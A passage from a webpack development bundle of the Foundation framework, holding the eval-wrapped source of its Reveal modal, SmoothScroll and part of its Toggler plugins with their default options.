}\n\n\n\n\n\n\n\n\n/**\n * Reveal module.\n * @module foundation.reveal\n * @requires foundation.util.keyboard\n * @requires foundation.util.triggers\n * @requires foundation.util.mediaQuery\n * @requires foundation.util.motion if using animations\n */\n\nvar Reveal =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Reveal, _Plugin);\n\n function Reveal() {\n _classCallCheck(this, Reveal);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Reveal).apply(this, arguments));\n }\n\n _createClass(Reveal, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of Reveal.\n * @class\n * @name Reveal\n * @param {jQuery} element - jQuery object to use for the modal.\n * @param {Object} options - optional parameters.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Reveal.defaults, this.$element.data(), options);\n this.className = 'Reveal'; // ie9 back compat\n\n this._init(); // Triggers init is idempotent, just need to make sure it is initialized\n\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_6__[\"Triggers\"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].register('Reveal', {\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the modal by adding the overlay and close buttons, (if selected).\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n var _this2 = this;\n\n _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"]._init();\n\n this.id = this.$element.attr('id');\n this.isActive = false;\n this.cached = {\n mq: _foundation_util_mediaQuery__WEBPACK_IMPORTED_MODULE_3__[\"MediaQuery\"].current\n };\n this.$anchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")).length ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-open=\\\"\".concat(this.id, \"\\\"]\")) : jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-toggle=\\\"\".concat(this.id, \"\\\"]\"));\n this.$anchor.attr({\n 'aria-controls': this.id,\n 'aria-haspopup': true,\n 'tabindex': 0\n });\n\n if (this.options.fullScreen || this.$element.hasClass('full')) {\n this.options.fullScreen = true;\n this.options.overlay = false;\n }\n\n if (this.options.overlay && !this.$overlay) {\n this.$overlay = this._makeOverlay(this.id);\n }\n\n this.$element.attr({\n 'role': 'dialog',\n 'aria-hidden': true,\n 'data-yeti-box': this.id,\n 'data-resize': this.id\n });\n\n if (this.$overlay) {\n this.$element.detach().appendTo(this.$overlay);\n } else {\n this.$element.detach().appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo));\n this.$element.addClass('without-overlay');\n }\n\n this._events();\n\n if (this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n this.onLoadListener = Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(window), function () {\n return _this2.open();\n });\n }\n }\n /**\n * Creates an overlay div to display behind the modal.\n * @private\n */\n\n }, {\n key: \"_makeOverlay\",\n value: function _makeOverlay() {\n var additionalOverlayClasses = '';\n\n if (this.options.additionalOverlayClasses) {\n additionalOverlayClasses = ' ' + this.options.additionalOverlayClasses;\n }\n\n return jquery__WEBPACK_IMPORTED_MODULE_0___default()('
    ').addClass('reveal-overlay' + additionalOverlayClasses).appendTo(this.options.appendTo);\n }\n /**\n * Updates position of modal\n * TODO: Figure out if we actually need to cache these values or if it doesn't matter\n * @private\n */\n\n }, {\n key: \"_updatePosition\",\n value: function _updatePosition() {\n var width = this.$element.outerWidth();\n var outerWidth = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).width();\n var height = this.$element.outerHeight();\n var outerHeight = jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height();\n var left,\n top = null;\n\n if (this.options.hOffset === 'auto') {\n left = parseInt((outerWidth - width) / 2, 10);\n } else {\n left = parseInt(this.options.hOffset, 10);\n }\n\n if (this.options.vOffset === 'auto') {\n if (height > outerHeight) {\n top = parseInt(Math.min(100, outerHeight / 10), 10);\n } else {\n top = parseInt((outerHeight - height) / 4, 10);\n }\n } else if (this.options.vOffset !== null) {\n top = parseInt(this.options.vOffset, 10);\n }\n\n if (top !== null) {\n this.$element.css({\n top: top + 'px'\n });\n } // only worry about left if we don't have an overlay or we have a horizontal offset,\n // otherwise we're perfectly in the middle\n\n\n if (!this.$overlay || this.options.hOffset !== 'auto') {\n this.$element.css({\n left: left + 'px'\n });\n this.$element.css({\n margin: '0px'\n });\n }\n }\n /**\n * Adds event handlers for the modal.\n * @private\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this3 = this;\n\n var _this = this;\n\n this.$element.on({\n 'open.zf.trigger': this.open.bind(this),\n 'close.zf.trigger': function closeZfTrigger(event, $element) {\n if (event.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default()(event.target).parents('[data-closable]')[0] === $element) {\n // only close reveal when it's explicitly called\n return _this3.close.apply(_this3);\n }\n },\n 'toggle.zf.trigger': this.toggle.bind(this),\n 'resizeme.zf.trigger': function resizemeZfTrigger() {\n _this._updatePosition();\n }\n });\n\n if (this.options.closeOnClick && this.options.overlay) {\n this.$overlay.off('.zf.reveal').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.deepLink) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on(\"hashchange.zf.reveal:\".concat(this.id), this._handleState.bind(this));\n }\n }\n /**\n * Handles modal methods on back/forward button clicks or any other event that triggers hashchange.\n * @private\n */\n\n }, {\n key: \"_handleState\",\n value: function _handleState(e) {\n if (window.location.hash === '#' + this.id && !this.isActive) {\n this.open();\n } else {\n this.close();\n }\n }\n /**\n * Disables the scroll when Reveal is shown to prevent the background from shifting\n * @param {number} scrollTop - Scroll to visually apply, window current scroll by default\n */\n\n }, {\n key: \"_disableScroll\",\n value: function _disableScroll(scrollTop) {\n scrollTop = scrollTop || jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop();\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", -scrollTop);\n }\n }\n /**\n * Reenables the scroll when Reveal closes\n * @param {number} scrollTop - Scroll to restore, html \"top\" property by default (as set by `_disableScroll`)\n */\n\n }, {\n key: \"_enableScroll\",\n value: function _enableScroll(scrollTop) {\n scrollTop = scrollTop || parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\", \"\");\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).scrollTop(-scrollTop);\n }\n }\n /**\n * Opens the modal controlled by `this.$anchor`, and closes all others by default.\n * @function\n * @fires Reveal#closeme\n * @fires Reveal#open\n */\n\n }, {\n key: \"open\",\n value: function open() {\n var _this4 = this;\n\n // either update or replace browser history\n var hash = \"#\".concat(this.id);\n\n if (this.options.deepLink && window.location.hash !== hash) {\n if (window.history.pushState) {\n if (this.options.updateHistory) {\n window.history.pushState({}, '', hash);\n } else {\n window.history.replaceState({}, '', hash);\n }\n } else {\n window.location.hash = hash;\n }\n } // Remember anchor that opened it to set focus back later, have general anchors as fallback\n\n\n this.$activeAnchor = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement).is(this.$anchor) ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(document.activeElement) : this.$anchor;\n this.isActive = true; // Make elements invisible, but remove display: none so we can get size and positioning\n\n this.$element.css({\n 'visibility': 'hidden'\n }).show().scrollTop(0);\n\n if (this.options.overlay) {\n this.$overlay.css({\n 'visibility': 'hidden'\n }).show();\n }\n\n this._updatePosition();\n\n this.$element.hide().css({\n 'visibility': ''\n });\n\n if (this.$overlay) {\n this.$overlay.css({\n 'visibility': ''\n }).hide();\n\n if (this.$element.hasClass('fast')) {\n this.$overlay.addClass('fast');\n } else if (this.$element.hasClass('slow')) {\n this.$overlay.addClass('slow');\n }\n }\n\n if (!this.options.multipleOpened) {\n /**\n * Fires immediately before the modal opens.\n * Closes any other modals that are currently open\n * @event Reveal#closeme\n */\n this.$element.trigger('closeme.zf.reveal', this.id);\n }\n\n this._disableScroll();\n\n var _this = this; // Motion UI method of reveal\n\n\n if (this.options.animationIn) {\n var afterAnimation = function afterAnimation() {\n _this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n\n _this._addGlobalClasses();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(_this.$element);\n };\n\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$overlay, 'fade-in');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$element, this.options.animationIn, function () {\n if (_this4.$element) {\n // protect against object having been removed\n _this4.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(_this4.$element);\n afterAnimation();\n }\n });\n } // jQuery method of reveal\n else {\n if (this.options.overlay) {\n this.$overlay.show(0);\n }\n\n this.$element.show(this.options.showDelay);\n } // handle accessibility\n\n\n this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(this.$element);\n\n this._addGlobalClasses();\n\n this._addGlobalListeners();\n /**\n * Fires when the modal has successfully opened.\n * @event Reveal#open\n */\n\n\n this.$element.trigger('open.zf.reveal');\n }\n /**\n * Adds classes and listeners on document required by open modals.\n *\n * The following classes are added and updated:\n * - `.is-reveal-open` - Prevents the scroll on document\n * - `.zf-has-scroll` - Displays a disabled scrollbar on document if required like if the\n * scroll was not disabled. This prevent a \"shift\" of the page content due\n * the scrollbar disappearing when the modal opens.\n *\n * @private\n */\n\n }, {\n key: \"_addGlobalClasses\",\n value: function _addGlobalClasses() {\n var updateScrollbarClass = function updateScrollbarClass() {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').toggleClass('zf-has-scroll', !!(jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()));\n };\n\n this.$element.on('resizeme.zf.trigger.revealScrollbarListener', function () {\n return updateScrollbarClass();\n });\n updateScrollbarClass();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').addClass('is-reveal-open');\n }\n /**\n * Removes classes and listeners on document that were required by open modals.\n * @private\n */\n\n }, {\n key: \"_removeGlobalClasses\",\n value: function _removeGlobalClasses() {\n this.$element.off('resizeme.zf.trigger.revealScrollbarListener');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('is-reveal-open');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('zf-has-scroll');\n }\n /**\n * Adds extra event handlers for the body and window if necessary.\n * @private\n */\n\n }, {\n key: \"_addGlobalListeners\",\n value: function _addGlobalListeners() {\n var _this = this;\n\n if (!this.$element) {\n return;\n } // If we're in the middle of cleanup, don't freak out\n\n\n this.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(this.$element);\n\n if (!this.options.overlay && this.options.closeOnClick && !this.options.fullScreen) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('keydown.zf.reveal', function (e) {\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].handleKey(e, 'Reveal', {\n close: function close() {\n if (_this.options.closeOnEsc) {\n _this.close();\n }\n }\n });\n });\n }\n }\n /**\n * Closes the modal.\n * @function\n * @fires Reveal#closed\n */\n\n }, {\n key: \"close\",\n value: function close() {\n if (!this.isActive || !this.$element.is(':visible')) {\n return false;\n }\n\n var _this = this; // Motion UI method of hiding\n\n\n if (this.options.animationOut) {\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$overlay, 'fade-out');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$element, this.options.animationOut, finishUp);\n } // jQuery method of hiding\n else {\n this.$element.hide(this.options.hideDelay);\n\n if (this.options.overlay) {\n this.$overlay.hide(0, finishUp);\n } else {\n finishUp();\n }\n } // Conditionals to remove extra event listeners added on open\n\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('keydown.zf.reveal');\n }\n\n if (!this.options.overlay && this.options.closeOnClick) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('click.zf.reveal');\n }\n\n this.$element.off('keydown.zf.reveal');\n\n function finishUp() {\n // Get the current top before the modal is closed and restore the scroll after.\n // TODO: use component properties instead of HTML properties\n // See https://github.com/zurb/foundation-sites/pull/10786\n var scrollTop = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n _this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].releaseFocus(_this.$element);\n\n _this.$element.attr('aria-hidden', true);\n\n _this._enableScroll(scrollTop);\n /**\n * Fires when the modal is done closing.\n * @event Reveal#closed\n */\n\n\n _this.$element.trigger('closed.zf.reveal');\n }\n /**\n * Resets the modal content\n * This prevents a running video to keep going in the background\n */\n\n\n if (this.options.resetOnClose) {\n this.$element.html(this.$element.html());\n }\n\n this.isActive = false; // If deepLink and we did not switched to an other modal...\n\n if (_this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n // Remove the history hash\n if (window.history.replaceState) {\n var urlWithoutHash = window.location.pathname + window.location.search;\n\n if (this.options.updateHistory) {\n window.history.pushState({}, '', urlWithoutHash); // remove the hash\n } else {\n window.history.replaceState('', document.title, urlWithoutHash);\n }\n } else {\n window.location.hash = '';\n }\n }\n\n this.$activeAnchor.focus();\n }\n /**\n * Toggles the open/closed state of a modal.\n * @function\n */\n\n }, {\n key: \"toggle\",\n value: function toggle() {\n if (this.isActive) {\n this.close();\n } else {\n this.open();\n }\n }\n }, {\n key: \"_destroy\",\n\n /**\n * Destroys an instance of a modal.\n * @function\n */\n value: function _destroy() {\n if (this.options.overlay) {\n this.$element.appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo)); // move $element outside of $overlay to prevent error unregisterPlugin()\n\n this.$overlay.hide().off().remove();\n }\n\n this.$element.hide().off();\n this.$anchor.off('.zf');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\".zf.reveal:\".concat(this.id));\n if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n }\n }]);\n\n return Reveal;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nReveal.defaults = {\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationIn: '',\n\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationOut: '',\n\n /**\n * Time, in ms, to delay the opening of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n showDelay: 0,\n\n /**\n * Time, in ms, to delay the closing of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n hideDelay: 0,\n\n /**\n * Allows a click on the body/overlay to close the modal.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allows the modal to close if the user presses the `ESCAPE` key.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnEsc: true,\n\n /**\n * If true, allows multiple modals to be displayed at once.\n * @option\n * @type {boolean}\n * @default false\n */\n multipleOpened: false,\n\n /**\n * Distance, in pixels, the modal should push down from the top of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n vOffset: 'auto',\n\n /**\n * Distance, in pixels, the modal should push in from the side of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n hOffset: 'auto',\n\n /**\n * Allows the modal to be fullscreen, completely blocking out the rest of the view. JS checks for this as well.\n * @option\n * @type {boolean}\n * @default false\n */\n fullScreen: false,\n\n /**\n * Allows the modal to generate an overlay div, which will cover the view when modal opens.\n * @option\n * @type {boolean}\n * @default true\n */\n overlay: true,\n\n /**\n * Allows the modal to remove and reinject markup on close. Should be true if using video elements w/o using provider's api, otherwise, videos will continue to play in the background.\n * @option\n * @type {boolean}\n * @default false\n */\n resetOnClose: false,\n\n /**\n * Link the location hash to the modal.\n * Set the location hash when the modal is opened/closed, and open/close the modal when the location changes.\n * @option\n * @type {boolean}\n * @default false\n */\n deepLink: false,\n\n /**\n * If `deepLink` is enabled, update the browser history with the open modal\n * @option\n * @default false\n */\n updateHistory: false,\n\n /**\n * Allows the modal to append to custom div.\n * @option\n * @type {string}\n * @default \"body\"\n */\n appendTo: \"body\",\n\n /**\n * Allows adding additional class names to the reveal overlay.\n * @option\n * @type {string}\n * @default ''\n */\n additionalOverlayClasses: ''\n};\n\n\n//# sourceURL=webpack:///./js/foundation.reveal.js?")},"./js/foundation.smoothScroll.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SmoothScroll", function() { return SmoothScroll; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n/**\n * SmoothScroll module.\n * @module foundation.smooth-scroll\n */\n\nvar SmoothScroll =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(SmoothScroll, _Plugin);\n\n function SmoothScroll() {\n _classCallCheck(this, SmoothScroll);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(SmoothScroll).apply(this, arguments));\n }\n\n _createClass(SmoothScroll, [{\n key: "_setup",\n\n /**\n * Creates a new instance of SmoothScroll.\n * @class\n * @name SmoothScroll\n * @fires SmoothScroll#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, SmoothScroll.defaults, this.$element.data(), options);\n this.className = \'SmoothScroll\'; // ie9 back compat\n\n this._init();\n }\n /**\n * Initialize the SmoothScroll plugin\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var id = this.$element[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, \'smooth-scroll\');\n this.$element.attr({\n id: id\n });\n\n this._events();\n }\n /**\n * Initializes events for SmoothScroll.\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.on(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.on(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n /**\n * Handle the given event to smoothly scroll to the anchor pointed by the event target.\n * @param {*} e - event\n * @function\n * @private\n */\n\n }, {\n key: "_handleLinkClick",\n value: function _handleLinkClick(e) {\n var _this = this;\n\n // Follow the link if it does not point to an anchor.\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget).is(\'a[href^="#"]\')) return;\n var arrival = e.currentTarget.getAttribute(\'href\');\n this._inTransition = true;\n SmoothScroll.scrollToLoc(arrival, this.options, function () {\n _this._inTransition = false;\n });\n e.preventDefault();\n }\n }, {\n key: "_destroy",\n\n /**\n * Destroys the SmoothScroll instance.\n * @function\n */\n value: function _destroy() {\n this.$element.off(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.off(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n }], [{\n key: "scrollToLoc",\n\n /**\n * Function to scroll to a given location on the page.\n * @param {String} loc - A properly formatted jQuery id selector. Example: \'#foo\'\n * @param {Object} options - The options to use.\n * @param {Function} callback - The callback function.\n * @static\n * @function\n */\n value: function scrollToLoc(loc) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : SmoothScroll.defaults;\n var callback = arguments.length > 2 ? arguments[2] : undefined;\n var $loc = jquery__WEBPACK_IMPORTED_MODULE_0___default()(loc); // Do nothing if target does not exist to prevent errors\n\n if (!$loc.length) return false;\n var scrollPos = Math.round($loc.offset().top - options.threshold / 2 - options.offset);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'html, body\').stop(true).animate({\n scrollTop: scrollPos\n }, options.animationDuration, options.animationEasing, function () {\n if (typeof callback === \'function\') {\n callback();\n }\n });\n }\n }]);\n\n return SmoothScroll;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n/**\n * Default settings for plugin.\n */\n\n\nSmoothScroll.defaults = {\n /**\n * Amount of time, in ms, the animated scrolling should take between locations.\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n * @option\n * @type {string}\n * @default \'linear\'\n * @see {@link https://api.jquery.com/animate|Jquery animate}\n */\n animationEasing: \'linear\',\n\n /**\n * Number of pixels to use as a marker for location changes.\n * @option\n * @type {number}\n * @default 50\n */\n threshold: 50,\n\n /**\n * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n * @option\n * @type {number}\n * @default 0\n */\n offset: 0\n};\n\n\n//# sourceURL=webpack:///./js/foundation.smoothScroll.js?')},"./js/foundation.toggler.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Toggler", function() { return Toggler; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * Toggler module.\n * @module foundation.toggler\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n */\n\nvar Toggler =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Toggler, _Plugin);\n\n function Toggler() {\n _classCallCheck(this, Toggler);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Toggler).apply(this, arguments));\n }\n\n _createClass(Toggler, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Toggler.\n * @class\n * @name Toggler\n * @fires Toggler#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Toggler.defaults, element.data(), options);\n this.className = \'\';\n this.className = \'Toggler\'; // ie9 back compat\n // Triggers init is idempotent, just need to make sure it is initialized\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Toggler plugin by parsing the toggle class from data-toggler, or animation classes from data-animate.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var input; // Parse animation classes if they were set\n\n if (this.options.animate) {\n input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n } // Otherwise, parse toggle class\n else {\n input = this.$element.data(\'toggler\'); // Allow for a . at 